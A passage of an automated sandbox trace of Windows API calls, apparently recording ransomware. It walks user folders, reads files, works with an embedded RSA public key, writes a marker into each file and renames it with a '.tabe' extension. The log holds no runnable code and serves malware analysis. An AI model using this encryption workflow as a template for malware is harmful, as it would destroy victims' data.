(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\SFRp7ypAs_6O3Pbe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\sfrp7ypas_6o3pbe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.260] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=79170) returned 1 [0127.261] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.262] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1351c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.262] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.263] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.263] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13542, lpOverlapped=0x0) returned 1 [0127.264] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.264] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.264] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.264] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.265] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.265] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.265] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.265] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.265] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.265] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.265] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.265] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.265] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.265] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.266] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13542, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.266] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.266] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.266] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.266] CloseHandle (hObject=0x618) returned 1 [0127.267] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\SFRp7ypAs_6O3Pbe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\sfrp7ypas_6o3pbe.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\SFRp7ypAs_6O3Pbe.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\sfrp7ypas_6o3pbe.swf.tabe")) returned 1 [0127.268] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x534399b0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x2d20b3e0, ftLastAccessTime.dwHighDateTime=0x1d5e6d8, ftLastWriteTime.dwLowDateTime=0x2d20b3e0, ftLastWriteTime.dwHighDateTime=0x1d5e6d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VDxk_EvzygJU", cAlternateFileName="VDXK_E~1")) returned 1 [0127.268] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x534399b0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x2d20b3e0, ftLastAccessTime.dwHighDateTime=0x1d5e6d8, ftLastWriteTime.dwLowDateTime=0x2d20b3e0, ftLastWriteTime.dwHighDateTime=0x1d5e6d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VDxk_EvzygJU", cAlternateFileName="VDXK_E~1")) returned 0 [0127.268] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.268] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.269] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.269] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.269] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.269] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.269] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.269] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.269] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.269] PathFindFileNameW (pszPath="") returned="" [0127.269] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0127.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0127.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0127.270] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.270] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.270] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.270] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.270] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.270] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.270] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.270] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.270] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.270] PathFindFileNameW (pszPath="") returned="" [0127.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IME12", cAlternateFileName="")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0127.272] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.273] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.273] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.273] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.273] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.273] PathFindFileNameW (pszPath="") returned="" [0127.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.274] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.274] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Java", cAlternateFileName="")) returned 1 [0127.274] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Java", cAlternateFileName="")) returned 0 [0127.274] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.274] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.274] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.274] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\") returned="lFYNBb9GU\\" [0127.274] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\") returned="Yr-pcf 3y122NkdCREb\\" [0127.275] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0127.275] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.275] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.275] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.275] PathFindFileNameW (pszPath="") returned="" [0127.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14ac640, ftCreationTime.dwHighDateTime=0x1d5e7a7, ftLastAccessTime.dwLowDateTime=0xab7435c0, ftLastAccessTime.dwHighDateTime=0x1d5e154, ftLastWriteTime.dwLowDateTime=0xab7435c0, ftLastWriteTime.dwHighDateTime=0x1d5e154, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.277] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14ac640, ftCreationTime.dwHighDateTime=0x1d5e7a7, ftLastAccessTime.dwLowDateTime=0xab7435c0, ftLastAccessTime.dwHighDateTime=0x1d5e154, ftLastWriteTime.dwLowDateTime=0xab7435c0, ftLastWriteTime.dwHighDateTime=0x1d5e154, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e8c360, ftCreationTime.dwHighDateTime=0x1d5d7c0, ftLastAccessTime.dwLowDateTime=0x1a0eaed0, ftLastAccessTime.dwHighDateTime=0x1d5e636, ftLastWriteTime.dwLowDateTime=0x1a0eaed0, ftLastWriteTime.dwHighDateTime=0x1d5e636, nFileSizeHigh=0x0, nFileSizeLow=0x10fb5, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="cIfArIk5.xlsx", cAlternateFileName="CIFARI~1.XLS")) returned 1 [0127.277] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\cIfArIk5.xlsx") returned=".xlsx" [0127.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\cIfArIk5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\cifarik5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.278] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=69557) returned 1 [0127.278] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.279] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10f8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.279] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.280] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: 